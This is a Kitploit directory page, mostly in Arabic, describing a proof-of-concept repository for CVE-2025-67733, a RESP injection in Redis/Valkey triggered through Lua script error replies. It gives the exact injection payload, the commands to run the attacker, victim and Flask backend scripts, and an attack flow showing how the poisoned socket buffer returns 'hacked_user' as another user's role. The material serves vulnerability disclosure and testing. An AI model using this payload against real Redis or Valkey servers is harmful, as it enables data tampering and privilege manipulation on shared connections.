Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-67733 — إثبات المفهوم (PoC) لحقن RESP في Redis/Valkey (CVE-2025-67733) | Kitploit
أدوات/GitHubGitHub/jylab/cve-2025-67733
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubjylab/cve-2025-67733

CVE-2025-67733

إثبات المفهوم (PoC) لحقن RESP في Redis/Valkey (CVE-2025-67733)

عرض المستودع
111منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات مفهوم حقن بروتوكول RESP

إثبات مفهوم يوضح ثغرة حقن بروتوكول RESP عبر رسائل خطأ سكربت Lua في Valkey/Redis.

الملفات

backend.py

واجهة خلفية Flask تحاكي تطبيق ويب مع اتصال Valkey مشترك (تجميع الاتصالات).

النقاط النهائية:

الطريقةالنقطة النهائيةالوصف
POST/api/user/roleتعيين دور المستخدم
GET/api/user/roleالحصول على دور المستخدم
POST/api/processتنفيذ سكربت Lua

الاستخدام:

python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

attacker_client.py

يحقن بيانات RESP خبيثة في المخزن المؤقت للمقبس عبر رسالة خطأ سكربت Lua.

الحمولة:

error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

الاستخدام:

python attacker_client.py

victim_client.py

عميل شرعي يقوم بتعيين أدوار المستخدمين واسترجاعها.

الاستخدام:

python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

توضيح الهجوم

المتطلبات الأساسية

pip install flask requests

الخطوات

الطرفية 1 - تشغيل الخادم الخلفي:

python backend.py 127.0.0.1 6379

الطرفية 2 - تعيين الدور:

python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

الطرفية 3 - الهجوم:

python attacker_client.py
# Output: Socket poisoning successful

الطرفية 2 - الحصول على الدور (بعد الهجوم):

python victim_client.py get
# Output: 'role':'hacked_user'

تدفق الهجوم

1. Victim sets role
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. Attacker injects payload
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   Backend reads: "-ERR INJECTED\r\n"
   Buffer remains: "$11\r\nhacked_user"

3. Victim gets role
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   Backend reads from buffer: "$11\r\nhacked_user"
   Victim receives: "hacked_user"
تنزيل الأداة